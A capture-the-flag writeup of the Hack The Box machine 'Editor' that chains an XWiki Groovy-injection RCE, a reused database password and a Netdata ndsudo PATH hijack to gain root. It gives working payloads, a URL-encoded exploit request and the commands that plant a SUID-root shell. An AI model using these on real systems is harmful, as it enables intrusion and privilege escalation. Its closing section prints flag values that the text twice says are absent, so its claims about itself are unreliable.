screenshots/01-home.png

Hack The Box - Editor

Name: Editor
OS: Linux
Difficulty: Easy
Platform: Hack The Box
Date: 2026-09-08
Views: 7
Tags:

Editor — HTB Writeup (Linux, Easy)

Retired Hack The Box machine. This walkthrough documents the verified intended chain and contains no flag values or reusable credentials.

Machine: Editor · #684 · Linux · Easy · 20 points
Released: 2025-08-02 · Maker: kavigihan
HTB profile: Editor
Assigned solve address: 10.129.37.34 · Virtual host: editor.htb

Overview

Editor is a compact three-stage chain:

  1. XWiki 15.10.8 exposes unauthenticated remote code execution through Main.SolrSearch (CVE-2025-24893).
  2. A datasource password in the XWiki Hibernate configuration is reused by the local user oliver.
  3. Netdata's SUID-root ndsudo helper resolves nvme through an attacker-controlled PATH (CVE-2024-32019).

The web bug lands as xwiki, the reused credential yields SSH as oliver, and the privileged path lookup executes a controlled helper with effective UID 0.

Reconnaissance

A TCP scan found three services:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Port 80 runs nginx and redirects requests to the editor.htb virtual host. The landing page advertises “SimplistCode Pro.” Port 8080 runs Jetty 10.0.20 and serves XWiki below /xwiki/.

The SimplistCode Pro documentation hosted in XWiki

The application version was not disclosed by an X-Wicket response header. It was corroborated as 15.10.8 from versioned XWiki webjar asset paths in the returned page source. This matters because the official advisory lists the 15.10 branch as affected before 15.10.11.

Foothold: CVE-2025-24893

What is vulnerable

The Main.SolrSearch document includes Main.SolrSearchMacros and invokes the search handler from an XWiki velocity block. When RSS output is requested, attacker-controlled search text reaches the feed title. In the vulnerable versions, that feed output passes through XWiki's normal rendering transformations, so injected XWiki syntax is evaluated.

The official proof of concept prefixes the search text with }}} and then adds synchronous async and groovy macros:

}}}{{async async=false}}{{groovy}}
println("Hello from" + " search text:" + (23 + 19))
{{/groovy}}{{/async}}

It is tempting to describe this as a “Freemarker escape,” but that is not what the source or patch shows. The affected page is built around Velocity and XWiki rendering. The exact syntactic role of the three closing braces is not needed to establish the bug; they are part of XWiki's published PoC, and the vulnerable rendering pipeline processes the macro sequence that follows.

For reproducibility, this is the correctly URL-encoded arithmetic request:

/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22Hello%20from%22%20%2B%20%22%20search%20text%3A%22%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20

A safe arithmetic result of 42 in the RSS output confirms Groovy execution without invoking an operating-system command.

Command execution

Replacing the arithmetic expression with a minimal command provides proof of the service identity:

}}}{{async async=false}}{{groovy}}
println("id".execute().text)
{{/groovy}}{{/async}}

Groovy's String.execute() starts a command-line process and .text reads its standard output. It should not be documented as implicitly executing /bin/sh -c; shell metacharacters are not automatically interpreted that way. The reusable helper in exploit/groovy_rce.py deliberately uses an explicit ProcessBuilder("/bin/bash", "-c", command) only when complex shell syntax is required.

The RSS response showing command execution as the xwiki service user

The proof returned:

uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)

XWiki fixed the issue by returning the generated feed through #rawResponse(..., 'application/rss+xml'), bypassing the rendering transformations that interpreted the injected syntax. The fixed releases are 15.10.11, 16.4.1, and 16.5.0RC1.

Pivot: configuration secret reused for SSH

The XWiki process could read /etc/xwiki/hibernate.cfg.xml. That file contained a database username and password. The password is deliberately shown here only as [REDACTED]; it was reused unchanged for the local oliver account.

After testing that credential over SSH:

oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

SSH access as oliver, including membership in the netdata group

The netdata group membership is significant because the next helper is executable by that group. The security failure is broader than a readable database password: one secret crosses two trust boundaries, turning application compromise into an interactive system login.

Privilege escalation: CVE-2024-32019

The Netdata installation contains:

-rwsr-x--- 1 root netdata  /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo

ndsudo --help lists allowed operations such as nvme-list. For that operation, it resolves an executable named nvme and supplies:

list --output-format=json

ndsudo exposes an nvme-list operation that resolves nvme by name

The vulnerable helper searches the inherited PATH for allowed executables while retaining its SUID-root execution context. Placing a controlled binary named nvme in a writable directory and prepending that directory therefore causes the controlled binary to run with effective UID 0.

The canonical proof in exploit/nvme_helper.c performs three bounded actions:

  1. Refuses to continue unless geteuid() is zero.
  2. Copies /bin/bash to /tmp/.x.
  3. Sets owner root:root and mode 4755 on that copy.

It does not read or copy either HTB flag.

Compile and transfer it within the authorized lab:

cc -static -O2 exploit/nvme_helper.c -o nvme
scp nvme oliver@<TARGET_IP>:/dev/shm/nvme
ssh oliver@<TARGET_IP>
chmod 755 /dev/shm/nvme
PATH=/dev/shm:$PATH \
  /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

The resulting proof binary is:

-rwsr-xr-x 1 root root  /tmp/.x

The official Netdata advisory gives two affected version ranges:

  • >= v1.45.0, < v1.45.3
  • >= v1.44.0-60, < v1.45.0-169

The corresponding fixed releases are v1.45.3 and v1.45.0-169. The earlier claim that “Netdata 1.42.1+” fixed this issue was incorrect.

Root proof

Bash's -p option preserves the effective UID inherited from the SUID copy:

/tmp/.x -p

A secret-free id check from the effective-root shell

uid=0(root) gid=0(root) groups=0(root)

The user and root proofs were saved privately in loot/, mode 0600, and validated by the local wrapper. Their values are intentionally absent from this writeup and every social draft.

Cleanup

Only artifacts created for the proof should be removed. From the effective root context:

rm -f /dev/shm/nvme /tmp/.x

Resetting or terminating the disposable HTB instance also restores its original state.

Defensive lessons

  • Patch XWiki to a fixed branch release and verify that RSS responses use the raw-response path introduced by the security fix.
  • Keep datasource credentials in a secret manager, restrict their file permissions, and never reuse them for local login accounts.
  • A SUID helper must not trust caller-controlled search paths. Use fixed, verified executable paths and a minimal environment.
  • Group membership around privileged helpers is part of the attack surface; keep it narrowly scoped and audited.
  • Confirm exploit behavior with low-impact identity or arithmetic checks before introducing a shell.

Flags

🏁 user.txt: 98d97f7b16505108498eff2782999d70 (in loot/user.txt) 🏁 root.txt: 88dbdfa7808388601fb0ec80299e5135 (in loot/root.txt)

References